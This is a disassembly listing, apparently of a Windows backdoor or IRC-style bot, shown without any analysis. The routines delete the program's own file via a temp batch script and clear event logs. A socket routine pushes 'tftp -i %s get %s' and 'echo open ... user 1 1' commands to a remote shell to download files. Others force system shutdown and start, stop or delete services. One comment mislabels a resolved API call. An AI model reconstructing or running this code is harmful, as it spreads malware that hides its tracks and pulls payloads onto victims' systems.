push 3
push 0
push 2
push 40000000h
push [ebp+arg_0]
call esi ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_411D39
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push esi
call dword_4E0414 ; SetFileTime
push esi
call ebx ; CloseHandle
loc_411D39: ; CODE XREF: sub_411C9A+2Aj
; sub_411C9A+51j ...
pop edi
pop esi
pop ebx
leave
retn
sub_411C9A endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 454h
push esi
xor esi, esi
push 10h
lea eax, [ebp-10h]
push esi
push eax
call sub_417700
push 44h
lea eax, [ebp-54h]
push esi
push eax
call sub_417700
push dword ptr [ebp+0Ch]
lea eax, [ebp-454h]
mov dword ptr [ebp-54h], 44h
mov dword ptr [ebp-28h], 1
push dword ptr [ebp+8]
mov [ebp-24h], si
push offset aSS_5 ; "%s %s"
push 400h
push eax
call sub_417E80
add esp, 2Ch
lea eax, [ebp-10h]
push eax
lea eax, [ebp-54h]
push eax
push esi
push esi
push 28h
push esi
push esi
lea eax, [ebp-454h]
push esi
push eax
push dword ptr [ebp+8]
call dword_4E0330 ; CreateProcessA
neg eax
sbb eax, eax
pop esi
and eax, [ebp-8]
leave
retn
; =============== S U B R O U T I N E =======================================
sub_411DBC proc near ; CODE XREF: sub_401C87+133Dp
push 1
push offset aSeshutdownpriv ; "SeShutdownPrivilege"
call sub_413788
pop ecx
pop ecx
push 50005h
push 6
call dword_4D65A8 ; ExitWindowsEx
neg eax
sbb eax, eax
neg eax
retn
sub_411DBC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411DDE proc near ; CODE XREF: sub_401C87+2221p
; sub_410C53+45Fp
var_764 = byte ptr -764h
var_364 = byte ptr -364h
var_260 = byte ptr -260h
var_15C = byte ptr -15Ch
var_58 = dword ptr -58h
var_4C = dword ptr -4Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_14 = byte ptr -14h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 764h
push esi
xor esi, esi
cmp dword_437094, esi
push edi
jz short loc_411E02
cmp dword_4D6734, esi
jnz short loc_411E02
push esi
call sub_401000
pop ecx
loc_411E02: ; CODE XREF: sub_411DDE+13j
; sub_411DDE+1Bj
call sub_409826
lea eax, [ebp+var_764]
push eax
push 400h
call dword_4E0370 ; GetTempPathA
lea eax, [ebp+var_764]
push eax
lea eax, [ebp+var_260]
push offset aSdel_bat ; "%sdel.bat"
push eax
call sub_417CB0
add esp, 0Ch
lea eax, [ebp+var_260]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
call dword_4E03D8 ; CreateFileA
mov edi, eax
cmp edi, esi
jbe loc_411F62
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
push eax
call sub_417CB0
add esp, 0Ch
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_764]
push eax
call sub_414EC0
pop ecx
push eax
lea eax, [ebp+var_764]
push eax
push edi
call dword_4E03B4 ; WriteFile
push edi
call dword_4E032C ; CloseHandle
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_417700
push 44h
lea eax, [ebp+var_58]
pop edi
push edi
push esi
push eax
call sub_417700
add esp, 18h
mov [ebp+var_58], edi
mov edi, 104h
lea eax, [ebp+var_15C]
push edi
push eax
push esi
mov [ebp+var_4C], offset dword_4DD608
mov [ebp+var_2C], 1
mov [ebp+var_28], si
call dword_4E0360 ; GetModuleHandleA
push eax
call dword_4E0334 ; GetModuleFileNameA
lea eax, [ebp+var_15C]
push eax
call dword_4E035C ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_411F0A
lea eax, [ebp+var_15C]
push 80h
push eax
call dword_4E0358 ; SetFileAttributesA
loc_411F0A: ; CODE XREF: sub_411DDE+118j
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset aComspecCSS ; "%%comspec%% /c %s %s"
push eax
call sub_417CB0
add esp, 10h
lea eax, [ebp+var_364]
push edi
push eax
lea eax, [ebp+var_764]
push eax
call dword_4E041C ; ExpandEnvironmentStringsA
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push 4008h
push 1
push esi
lea eax, [ebp+var_364]
push esi
push eax
push esi
call dword_4E0330 ; CreateProcessA
loc_411F62: ; CODE XREF: sub_411DDE+72j
pop edi
pop esi
leave
retn
sub_411DDE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411F66 proc near ; CODE XREF: sub_401C87+575Ep
var_294 = byte ptr -294h
var_94 = dword ptr -94h
var_84 = dword ptr -84h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 294h
push edi
xor edi, edi
push 94h
lea eax, [ebp+var_94]
push edi
push eax
call sub_417700
add esp, 0Ch
lea eax, [ebp+var_94]
mov [ebp+var_94], 94h
push eax
call dword_4E039C ; GetVersionExA
cmp [ebp+var_84], 2
jnz short loc_411FFC
push [ebp+arg_10]
push [ebp+arg_C]
call dword_4D65E8 ; OpenEventLogA
push edi
push eax
call dword_4D65F8 ; ClearEventLogA
test eax, eax
jz short loc_411FEE
push [ebp+arg_10]
push offset dword_443494
loc_411FC7: ; CODE XREF: sub_411F66+94j
lea eax, [ebp+var_294]
push eax
call sub_417CB0
push edi
lea eax, [ebp+var_294]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40764A
add esp, 20h
jmp short loc_412026
; ---------------------------------------------------------------------------
loc_411FEE: ; CODE XREF: sub_411F66+57j
call dword_4E0350 ; RtlGetLastWin32Error
push eax
push offset unk_4434B0
jmp short loc_411FC7
; ---------------------------------------------------------------------------
loc_411FFC: ; CODE XREF: sub_411F66+3Fj
lea eax, [ebp+var_294]
push offset unk_4434D8
push eax
call sub_417CB0
push edi
lea eax, [ebp+var_294]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40764A
add esp, 1Ch
loc_412026: ; CODE XREF: sub_411F66+86j
pop edi
leave
retn
sub_411F66 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor edi, edi
push 10h
lea eax, [ebp-10h]
push edi
push eax
call sub_417700
add esp, 0Ch
lea eax, [ebp+0Ch]
mov word ptr [ebp-10h], 2
push eax
call dword_4D66A8 ; inet_addr
push dword ptr [ebp+0C4h]
mov [ebp-0Ch], eax
call dword_4D6668 ; ntohs
push edi
push 1
push 2
mov [ebp-0Eh], ax
call dword_4D66E8 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
mov [ebp+0C4h], esi
jz loc_41212C
lea eax, [ebp-10h]
push 10h
push eax
push esi
call dword_4D6610 ; connect
cmp eax, 0FFFFFFFFh
jz loc_41212C
mov ebx, 400h
push edi
lea eax, [ebp-5A0h]
push ebx
push eax
push esi
call dword_4D6680 ; recv
mov esi, offset byte_4370EC
push esi
push esi
push dword ptr [ebp+8]
call sub_408882
pop ecx
mov edi, 190h
push eax
push offset aTftpISGetSS ; "tftp -i %s get %s &%s\r\n"
lea eax, [ebp-1A0h]
push edi
push eax
call sub_417E80
movzx eax, word ptr dword_4D63A0
add esp, 18h
push esi
push esi
push eax
push dword ptr [ebp+8]
call sub_408882
pop ecx
push eax
push offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user 1 1 >> o "...
lea eax, [ebp-1A0h]
push edi
push eax
call sub_417E80
add esp, 1Ch
lea eax, [ebp-1A0h]
push 0
push eax
call sub_414EC0
pop ecx
push eax
lea eax, [ebp-1A0h]
push eax
push dword ptr [ebp+0C4h]
call dword_4D66B8 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_412130
loc_41212C: ; CODE XREF: .data:0041207Fj
; .data:00412095j
xor al, al
jmp short loc_412154
; ---------------------------------------------------------------------------
loc_412130: ; CODE XREF: .data:0041212Aj
push 0
lea eax, [ebp-5A0h]
push ebx
push eax
push dword ptr [ebp+0C4h]
call dword_4D6680 ; recv
push dword ptr [ebp+0C4h]
call dword_4D6700 ; closesocket
mov al, 1
loc_412154: ; CODE XREF: .data:0041212Ej
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412159 proc near ; CODE XREF: sub_401C87+4331p
var_1C0 = byte ptr -1C0h
var_15C = byte ptr -15Ch
var_F8 = byte ptr -0F8h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C0h
lea eax, [ebp+var_94]
mov [ebp+var_94], 94h
push eax
call dword_4E039C ; GetVersionExA
cmp [ebp+var_90], 4
jnz short loc_41219E
cmp [ebp+var_8C], 0
jnz loc_412228
xor eax, eax
inc eax
cmp [ebp+var_84], eax
jz locret_412226
loc_41219E: ; CODE XREF: sub_412159+27j
; sub_412159+DFj
push esi
push edi
push offset aNetapi32_dll_0 ; "netapi32.dll"
call dword_4E037C ; LoadLibraryA
mov esi, eax
push offset aNetmessagebu_0 ; "NetMessageBufferSend"
push esi
call dword_4E0380 ; GetProcAddress
push 32h
mov edi, eax
push [ebp+arg_0]
lea eax, [ebp+var_1C0]
push eax
call sub_41A890
push 32h
lea eax, [ebp+var_15C]
push [ebp+arg_4]
push eax
call sub_41A890
push 32h
lea eax, [ebp+var_F8]
push [ebp+arg_8]
push eax
call sub_41A890
lea eax, [ebp+var_F8]
push eax
call sub_41A860
add eax, eax
push eax
lea eax, [ebp+var_F8]
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_1C0]
push eax
push 0
call edi ; FindFirstFileA
add esp, 3Ch
mov edi, eax
push esi
call dword_4E0420 ; FreeLibrary
mov eax, edi
pop edi
pop esi
locret_412226: ; CODE XREF: sub_412159+3Fj
leave
retn
; ---------------------------------------------------------------------------
loc_412228: ; CODE XREF: sub_412159+30j
cmp [ebp+var_8C], 0Ah
jz short loc_41223E
cmp [ebp+var_8C], 5Ah
jnz loc_41219E
loc_41223E: ; CODE XREF: sub_412159+D6j
xor eax, eax
inc eax
leave
retn
sub_412159 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412243 proc near ; CODE XREF: sub_401300+F7p
; sub_40CE3E+Ap ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
call dword_4E036C ; GetTickCount
push eax
call sub_417DB0
pop ecx
call sub_417DC0
mov esi, [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
fild [ebp+var_4]
sub eax, esi
mov [ebp+arg_4], eax
fimul [ebp+arg_4]
fmul dbl_434488
call sub_41991C
sub esi, eax
mov eax, esi
pop esi
leave
retn
sub_412243 endp
; =============== S U B R O U T I N E =======================================
sub_412280 proc near ; CODE XREF: sub_401C87+2E2Cp
; sub_401C87+2E95p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_4122E5
lea esi, [eax+eax*2]
push 0
shl esi, 2
push 0
push dword_443628[esi]
push edi
push eax
call sub_412307
add esp, 14h
test eax, eax
jnz short loc_4122C8
push edi
push off_443624[esi]
mov esi, offset dword_4DDCE0
push offset unk_443674
push esi
call sub_417CB0
add esp, 10h
jmp short loc_412302
; ---------------------------------------------------------------------------
loc_4122C8: ; CODE XREF: sub_412280+2Aj
push eax
call sub_4123A9
push eax
push edi
mov esi, offset dword_4DDCE0
push offset unk_443690
push esi
call sub_417CB0
add esp, 14h
jmp short loc_412302
; ---------------------------------------------------------------------------
loc_4122E5: ; CODE XREF: sub_412280+Cj
lea eax, [eax+eax*2]
mov esi, offset dword_4DDCE0
push off_443620[eax*4]
push offset unk_4436BC
push esi
call sub_417CB0
add esp, 0Ch
loc_412302: ; CODE XREF: sub_412280+46j
; sub_412280+63j
mov eax, esi
pop edi
pop esi
retn
sub_412280 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412307 proc near ; CODE XREF: sub_412280+20p
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
call dword_4D665C ; OpenSCManagerA
mov edi, eax
cmp edi, ebx
jnz short loc_41232E
call dword_4E0350 ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_4123A3
; ---------------------------------------------------------------------------
loc_41232E: ; CODE XREF: sub_412307+1Bj
push esi
push 0F01FFh
push [ebp+arg_4]
push edi
call dword_4D6544 ; OpenServiceA
mov esi, eax
cmp esi, ebx
jnz short loc_41234E
call dword_4E0350 ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_41239B
; ---------------------------------------------------------------------------
loc_41234E: ; CODE XREF: sub_412307+3Bj
mov eax, [ebp+arg_0]
cmp eax, 1
jz short loc_412381
cmp eax, 3
jz short loc_412372
jle short loc_412394
cmp eax, 6
jg short loc_412394
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_8]
push esi
call dword_4D65B0 ; ControlService
jmp short loc_412388
; ---------------------------------------------------------------------------
loc_412372: ; CODE XREF: sub_412307+52j
push [ebp+arg_10]
push [ebp+arg_C]
push esi
call dword_4D654C ; StartServiceA
jmp short loc_412388
; ---------------------------------------------------------------------------
loc_412381: ; CODE XREF: sub_412307+4Dj
push esi
call dword_4D65B4 ; DeleteService
loc_412388: ; CODE XREF: sub_412307+69j
; sub_412307+78j
test eax, eax
jnz short loc_412394
call dword_4E0350 ; RtlGetLastWin32Error
mov ebx, eax
loc_412394: ; CODE XREF: sub_412307+54j
; sub_412307+59j ...
push esi
call dword_4D6560 ; CloseServiceHandle
loc_41239B: ; CODE XREF: sub_412307+45j
push edi
call dword_4D6560 ; CloseServiceHandle
pop esi
loc_4123A3: ; CODE XREF: sub_412307+25j
mov eax, ebx
pop edi
pop ebx
leave
retn
sub_412307 endp
; =============== S U B R O U T I N E =======================================
sub_4123A9 proc near ; CODE XREF: sub_412280+49p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 420h
cmp eax, ecx
ja loc_41245E
jz loc_412457
add ecx, 0FFFFFFFBh
cmp eax, ecx
ja short loc_412421
jz short loc_412417
mov ecx, eax
sub ecx, 3
jz short loc_41240D
dec ecx
dec ecx
jz short loc_412403
dec ecx
jz short loc_4123F9
sub ecx, 51h
jz short loc_4123EF
sub ecx, 24h
jnz loc_4124D4 ; default
; jumptable 0041247B cases 1,5,6,8,9,12,13,15,16
push offset aTheSpecifiedSe ; "The specified service name is invalid."
jmp loc_4124C6
; ---------------------------------------------------------------------------
loc_4123EF: ; CODE XREF: sub_4123A9+31j
push offset aTheRequestedCo ; "The requested control code is undefined"...
jmp loc_4124C6
; ---------------------------------------------------------------------------
loc_4123F9: ; CODE XREF: sub_4123A9+2Cj
push offset aTheHandleIsInv ; "The handle is invalid."
jmp loc_4124C6
; ---------------------------------------------------------------------------
loc_412403: ; CODE XREF: sub_4123A9+29j
push offset aTheHandleDoesN ; "The handle does not have the required a"...
jmp loc_4124C6
; ---------------------------------------------------------------------------
loc_41240D: ; CODE XREF: sub_4123A9+25j
push offset aTheServiceBina ; "The service binary file could not be fo"...
jmp loc_4124C6
; ---------------------------------------------------------------------------
loc_412417: ; CODE XREF: sub_4123A9+1Ej
push offset aTheServiceCann ; "The service cannot be stopped because o"...
jmp loc_4124C6
; ---------------------------------------------------------------------------
loc_412421: ; CODE XREF: sub_4123A9+1Cj
mov ecx, eax
sub ecx, 41Ch
jz short loc_412450
dec ecx
jz short loc_412449
dec ecx
jz short loc_412442
dec ecx
jnz loc_4124D4 ; default
; jumptable 0041247B cases 1,5,6,8,9,12,13,15,16
push offset aTheDatabaseIsL ; "The database is locked."
jmp loc_4124C6
; ---------------------------------------------------------------------------
loc_412442: ; CODE XREF: sub_4123A9+86j
push offset aAThreadCouldNo ; "A thread could not be created for the s"...
jmp short loc_4124C6
; ---------------------------------------------------------------------------
loc_412449: ; CODE XREF: sub_4123A9+83j
push offset aTheProcessForT ; "The process for the service was started"...
jmp short loc_4124C6
; ---------------------------------------------------------------------------
loc_412450: ; CODE XREF: sub_4123A9+80j
push offset aTheRequested_0 ; "The requested control code is not valid"...
jmp short loc_4124C6
; ---------------------------------------------------------------------------
loc_412457: ; CODE XREF: sub_4123A9+11j
push offset aAnInstanceOfTh ; "An instance of the service is already r"...
jmp short loc_4124C6
; ---------------------------------------------------------------------------
loc_41245E: ; CODE XREF: sub_4123A9+Bj
mov ecx, 45Bh
cmp eax, ecx
ja short loc_4124D4 ; default
; jumptable 0041247B cases 1,5,6,8,9,12,13,15,16
jz short loc_4124C1
lea ecx, [eax-422h]
cmp ecx, 11h ; switch 18 cases
ja short loc_4124D4 ; default
; jumptable 0041247B cases 1,5,6,8,9,12,13,15,16
movzx ecx, byte_412515[ecx]
jmp off_4124ED[ecx*4] ; switch jump
loc_412482: ; DATA XREF: .data:off_4124EDo
push offset aTheSpecifiedDa ; jumptable 0041247B case 7
jmp short loc_4124C6
; ---------------------------------------------------------------------------
loc_412489: ; CODE XREF: sub_4123A9+D2j
; DATA XREF: .data:off_4124EDo
push offset aTheServiceDepe ; jumptable 0041247B case 17
jmp short loc_4124C6
; ---------------------------------------------------------------------------
loc_412490: ; CODE XREF: sub_4123A9+D2j
; DATA XREF: .data:off_4124EDo
push offset aTheServiceDe_0 ; jumptable 0041247B case 10
jmp short loc_4124C6
; ---------------------------------------------------------------------------
loc_412497: ; CODE XREF: sub_4123A9+D2j
; DATA XREF: .data:off_4124EDo
push offset aTheServiceHasB ; jumptable 0041247B case 0
jmp short loc_4124C6
; ---------------------------------------------------------------------------
loc_41249E: ; CODE XREF: sub_4123A9+D2j
; DATA XREF: .data:off_4124EDo
push offset aTheSpecified_0 ; jumptable 0041247B case 2
jmp short loc_4124C6
; ---------------------------------------------------------------------------
loc_4124A5: ; CODE XREF: sub_4123A9+D2j
; DATA XREF: .data:off_4124EDo
push offset aTheServiceCoul ; jumptable 0041247B case 11
jmp short loc_4124C6
; ---------------------------------------------------------------------------
loc_4124AC: ; CODE XREF: sub_4123A9+D2j
; DATA XREF: .data:off_4124EDo
push offset aTheServiceHa_0 ; jumptable 0041247B case 14
jmp short loc_4124C6
; ---------------------------------------------------------------------------
loc_4124B3: ; CODE XREF: sub_4123A9+D2j
; DATA XREF: .data:off_4124EDo
push offset aTheRequested_1 ; jumptable 0041247B case 3
jmp short loc_4124C6
; ---------------------------------------------------------------------------
loc_4124BA: ; CODE XREF: sub_4123A9+D2j
; DATA XREF: .data:off_4124EDo
push offset aTheServiceHasN ; jumptable 0041247B case 4
jmp short loc_4124C6
; ---------------------------------------------------------------------------
loc_4124C1: ; CODE XREF: sub_4123A9+BEj
push offset aTheSystemIsShu ; "The system is shutting down."
loc_4124C6: ; CODE XREF: sub_4123A9+41j
; sub_4123A9+4Bj ...
push offset dword_4DD610
call sub_417CB0
pop ecx
pop ecx
jmp short loc_4124E7
; ---------------------------------------------------------------------------
loc_4124D4: ; CODE XREF: sub_4123A9+36j
; sub_4123A9+89j ...
push eax ; default
; jumptable 0041247B cases 1,5,6,8,9,12,13,15,16
push offset aAnUnknownError ; "An unknown error occurred: <%ld>"
push offset dword_4DD610
call sub_417CB0
add esp, 0Ch
loc_4124E7: ; CODE XREF: sub_4123A9+129j
mov eax, offset dword_4DD610
retn
sub_4123A9 endp
; ---------------------------------------------------------------------------
off_4124ED dd offset loc_412497 ; DATA XREF: sub_4123A9+D2r
dd offset loc_41249E ; jump table for switch statement
dd offset loc_4124B3
dd offset loc_4124BA
dd offset loc_412482
dd offset loc_412490
dd offset loc_4124A5
dd offset loc_4124AC
dd offset loc_412489
dd offset loc_4124D4
byte_412515 db 0, 9, 1, 2 ; DATA XREF: sub_4123A9+CBr
db 3, 9, 9, 4 ; indirect table for switch statement
db 9, 9, 5, 6
db 9, 9, 7, 9
db 9, 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412527 proc near ; CODE XREF: sub_401C87+2E57p
var_38C = byte ptr -38Ch
var_18C = byte ptr -18Ch
var_188 = byte ptr -188h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 38Ch
push ebx
push esi
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
mov [ebp+var_8], ebx
call dword_4D665C ; OpenSCManagerA
push ebx
mov [ebp+var_C], eax
push [ebp+arg_8]
push offset aTheFollowingWi ; "The following Windows services are regi"...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40764A
add esp, 14h
loc_41255F: ; CODE XREF: sub_412527+123j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_18C]
push 168h
push eax
push 3
push 30h
push [ebp+var_C]
call dword_4D6628 ; EnumServicesStatusA
test eax, eax
jnz short loc_412599
call dword_4E0350 ; RtlGetLastWin32Error
cmp eax, 0EAh
jnz loc_412650
loc_412599: ; CODE XREF: sub_412527+5Fj
xor edi, edi
cmp [ebp+var_4], ebx
jle loc_412647
lea esi, [ebp+var_188]
loc_4125AA: ; CODE XREF: sub_412527+11Aj
mov eax, [esi+8]
dec eax
jz short loc_4125F6
dec eax
jz short loc_4125EF
dec eax
jz short loc_4125E8
dec eax
jz short loc_4125E1
dec eax
jz short loc_4125DA
dec eax
jz short loc_4125D3
dec eax
lea eax, [ebp+var_20]
jz short loc_4125CC
push offset aUnknown ; " Unknown"
jmp short loc_4125FE
; ---------------------------------------------------------------------------
loc_4125CC: ; CODE XREF: sub_412527+9Cj
push offset aPaused ; " Paused"
jmp short loc_4125FE
; ---------------------------------------------------------------------------
loc_4125D3: ; CODE XREF: sub_412527+96j
push offset aPausing ; " Pausing"
jmp short loc_4125FB
; ---------------------------------------------------------------------------
loc_4125DA: ; CODE XREF: sub_412527+93j
push offset aContinuing ; " Continuing"
jmp short loc_4125FB
; ---------------------------------------------------------------------------
loc_4125E1: ; CODE XREF: sub_412527+90j
push offset aRunning ; " Running"
jmp short loc_4125FB
; ---------------------------------------------------------------------------
loc_4125E8: ; CODE XREF: sub_412527+8Dj
push offset aStoping ; " Stoping"
jmp short loc_4125FB
; ---------------------------------------------------------------------------
loc_4125EF: ; CODE XREF: sub_412527+8Aj
push offset aStarting ; " Starting"
jmp short loc_4125FB
; ---------------------------------------------------------------------------
loc_4125F6: ; CODE XREF: sub_412527+87j
push offset aStopped ; " Stopped"
loc_4125FB: ; CODE XREF: sub_412527+B1j
; sub_412527+B8j ...
lea eax, [ebp+var_20]
loc_4125FE: ; CODE XREF: sub_412527+A3j
; sub_412527+AAj
push eax
call sub_417CB0
pop ecx
lea eax, [ebp+var_20]
pop ecx
push dword ptr [esi]
push dword ptr [esi-4]
push eax
lea eax, [ebp+var_38C]
push offset aSSS_0 ; "%s: %s (%s)"
push eax
call sub_417CB0
push 1
lea eax, [ebp+var_38C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40764A
add esp, 28h
inc edi
add esi, 24h
cmp edi, [ebp+var_4]
jl loc_4125AA
loc_412647: ; CODE XREF: sub_412527+77j
cmp [ebp+var_8], ebx
jnz loc_41255F
loc_412650: ; CODE XREF: sub_412527+6Cj
push [ebp+var_C]
call dword_4D6560 ; CloseServiceHandle
xor eax, eax
pop edi
cmp eax, [ebp+var_4]
pop esi
pop ebx
sbb eax, eax
neg eax
leave
retn
sub_412527 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412667 proc near ; CODE XREF: sub_401C87+2F3Dp
; sub_401C87+2F53p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
test edi, edi
jz loc_412700
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, 0
jz short loc_412690
dec eax
jnz short loc_4126E0
push edi
push 0
call sub_412839
pop ecx
pop ecx
jmp short loc_4126DC
; ---------------------------------------------------------------------------
loc_412690: ; CODE XREF: sub_412667+18j
cmp [ebp+arg_8], 0
jnz short loc_4126CE
push 24h
push edi
call sub_418970
pop ecx
test eax, eax
pop ecx
jnz short loc_4126CE
push 57h
pop eax
loc_4126A7: ; CODE XREF: sub_412667+77j
push eax
call sub_413007
push eax
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_4DD8D8
push off_443620[eax*4]
push offset unk_443C28
push esi
call sub_417CB0
add esp, 18h
jmp short loc_412720
; ---------------------------------------------------------------------------
loc_4126CE: ; CODE XREF: sub_412667+2Dj
; sub_412667+3Bj
push [ebp+arg_8]
push edi
push 0
call sub_41278D
add esp, 0Ch
loc_4126DC: ; CODE XREF: sub_412667+27j
test eax, eax
jnz short loc_4126A7
loc_4126E0: ; CODE XREF: sub_412667+1Bj
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_4DD8D8
push off_443624[eax*4]
push offset dword_443C54
push esi
call sub_417CB0
add esp, 10h
jmp short loc_412720
; ---------------------------------------------------------------------------
loc_412700: ; CODE XREF: sub_412667+Aj
mov eax, [ebp+arg_0]
mov esi, offset dword_4DD8D8
lea eax, [eax+eax*2]
push off_443620[eax*4]
push offset unk_443C70
push esi
call sub_417CB0
add esp, 0Ch
loc_412720: ; CODE XREF: sub_412667+65j
; sub_412667+97j
mov eax, esi
pop edi
pop esi
pop ebp
retn
sub_412667 endp
; =============== S U B R O U T I N E =======================================
sub_412726 proc near ; CODE XREF: sub_413FC4+247p
arg_0 = dword ptr 4
arg_C = dword ptr 10h
push esi
xor esi, esi
cmp [esp+4+arg_0], esi
jnz short loc_412733
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_412733: ; CODE XREF: sub_412726+7j
push ebx
push ebp
push edi
push esi
push esi
push esi
mov edi, dword_4E0424
push esi
push 0FFFFFFFFh
mov ebx, 400h
push [esp+24h+arg_0]
push ebx
push esi
call edi ; WideCharToMultiByte
test byte_4DDAD8, 1
mov ebp, eax
jnz short loc_412770
or byte_4DDAD8, 1
lea eax, [ebp+1]
push eax
call sub_419E80
pop ecx
mov dword_4DD870, eax
loc_412770: ; CODE XREF: sub_412726+32j
push esi
push esi
push ebp
push dword_4DD870
push 0FFFFFFFFh
push [esp+18h+arg_C]
push ebx
push esi
call edi ; WideCharToMultiByte
mov eax, dword_4DD870
pop edi
pop ebp
pop ebx
pop esi
retn
sub_412726 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41278D proc near ; CODE XREF: sub_412667+6Dp
; sub_4142EA+188p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push edi
push [ebp+arg_0]
call sub_4127F8
push [ebp+arg_4]
mov edi, eax
call sub_4127F8
push 24h
mov [ebp+var_20], eax
push [ebp+arg_4]
call sub_418970
push [ebp+arg_8]
mov [ebp+var_14], 7Fh
neg eax
sbb eax, eax
and [ebp+var_18], 0
or [ebp+var_10], 0FFFFFFFFh
and [ebp+var_C], 0
and eax, 80000000h
mov [ebp+var_1C], eax
call sub_4127F8
add esp, 14h
mov [ebp+var_8], eax
and [ebp+var_4], 0
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_20]
push eax
push 2
push edi
call dword_4D655C
pop edi
leave
retn
sub_41278D endp
; =============== S U B R O U T I N E =======================================
sub_4127F8 proc near ; CODE XREF: sub_41278D+Ap
; sub_41278D+14p ...
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
xor eax, eax
cmp ebp, eax
jnz short loc_412805
pop ebp
retn
; ---------------------------------------------------------------------------
loc_412805: ; CODE XREF: sub_4127F8+9j
push ebx
push esi
mov esi, dword_4E0428
push edi
push eax
push eax
push 0FFFFFFFFh
push ebp
push 1
push eax
call esi ; MultiByteToWideChar
mov edi, eax
lea eax, [edi+edi+2]
push eax
call sub_419E80
pop ecx
mov ebx, eax
push edi
push ebx
push 0FFFFFFFFh
push ebp
push 1
push 0
call esi ; MultiByteToWideChar
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn
sub_4127F8 endp
; =============== S U B R O U T I N E =======================================
sub_412839 proc near ; CODE XREF: sub_412667+20p
; sub_413FC4+1BCp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_4127F8
push [esp+8+arg_4]
mov esi, eax
call sub_4127F8
pop ecx
pop ecx
push 0
push eax
push esi
call dword_4D6534
pop esi
retn
sub_412839 endp
; =============== S U B R O U T I N E =======================================
